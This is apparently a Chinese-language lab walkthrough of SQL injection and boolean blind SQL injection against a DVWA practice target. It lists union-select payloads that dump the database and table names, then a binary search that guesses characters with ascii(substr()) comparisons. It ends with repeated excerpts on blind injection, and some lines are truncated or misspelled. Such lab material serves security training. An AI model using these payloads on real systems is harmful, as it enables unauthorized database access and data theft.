sql注入與盲注

2021-10-05 14:37:04 字數 2422 閱讀 7678

實驗環境要求:

1、安裝win7或win10的筆記本或pc電腦一台,硬碟100gb,記憶體8gb

2、安裝vmware® workstation 14以上

總體目標:基於centos7搭建dvwa web服務靶機,使用主機上的瀏覽器和kali虛擬機器作為攻擊機。使用kali中的burpsuite和主機上的瀏覽器攻擊dvwa上的sql注入和sql盲注漏洞。

1.判斷是否存在注入,注入是字元型還是數字型。

2.猜解sql查詢語句中的字段數

輸入1』 or 『1』 = 『1』 order by 1 #

輸入1』 or 『1』 = 『1』 order by 2 # 輸入1』 or

3.確定顯示的字段順序

輸入1' union select 1

4.獲取當前資料庫

database()顯示當前資料庫

輸入1』 union select 1,database() #

5.獲取資料庫中的表

輸入1』 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

1.判斷是否存在注入,注入是字元型還是數字型

1.判斷是否存在注入,注入是字元型還是數字型

輸入1,顯示相應使用者存在

2.猜解當前資料庫名

想要猜解資料庫名,首先要猜解資料庫名的長度,然後挨個猜解字元。

輸入1』 and length(database())=1 # 顯示不存在;

輸入1』 and length(database())=2 #顯示不存在;

輸入1』 and length(database())=3#顯示不存在;

輸入1』 and length(database())=4 #顯示存在:

3.猜解資料庫中的表名採用二分法猜解資料庫名

輸入1』 and ascii(substr(databse(),1,1))>97 #,顯示存在,說明資料庫名的第乙個字元的ascii值大於97(小寫字母a的ascii值);

輸入1』 and ascii(substr(databse(),1,1))<122 #,顯示存在,說明資料庫名的第乙個字元的ascii值小於122(小寫字母z的ascii值);

輸入1』 and ascii(substr(databse(),1,1))<109 #,顯示存在,說明資料庫名的第乙個字元的ascii值小於109(小寫字母m的ascii值);

輸入1』 and ascii(substr(databse(),1,1))<103 #,顯示存在,說明資料庫名的第乙個字元的ascii值小於103(小寫字母g的ascii值);

輸入1』 and ascii(substr(databse(),1,1))<100 #,顯示不存在,說明資料庫名的第乙個字元的ascii值不小於100(小寫字母d的ascii值);

輸入1』 and ascii(substr(databse(),1,1))>100 #,顯示不存在,說明資料庫名的第乙個字元的ascii值不大於100(小寫字母d的ascii值),所以資料庫名的第乙個字元的ascii值為100,即小寫字母d。

sql注入 盲注

一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...

sql注入 盲注

一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...

SQL注入 盲注

遮蔽了報錯資訊,攻擊者無法使用報錯資訊來進行注入判斷。1.boolean 盲注 無論輸入什麼只會顯示真與假 2.時間盲注 頁面沒有任何的顯示,通過時間的延遲來判斷是否存在注入 是無論輸入什麼,結果只返回真和假兩種結果。判斷資料庫名的長度 length database x 判斷表名 substr d...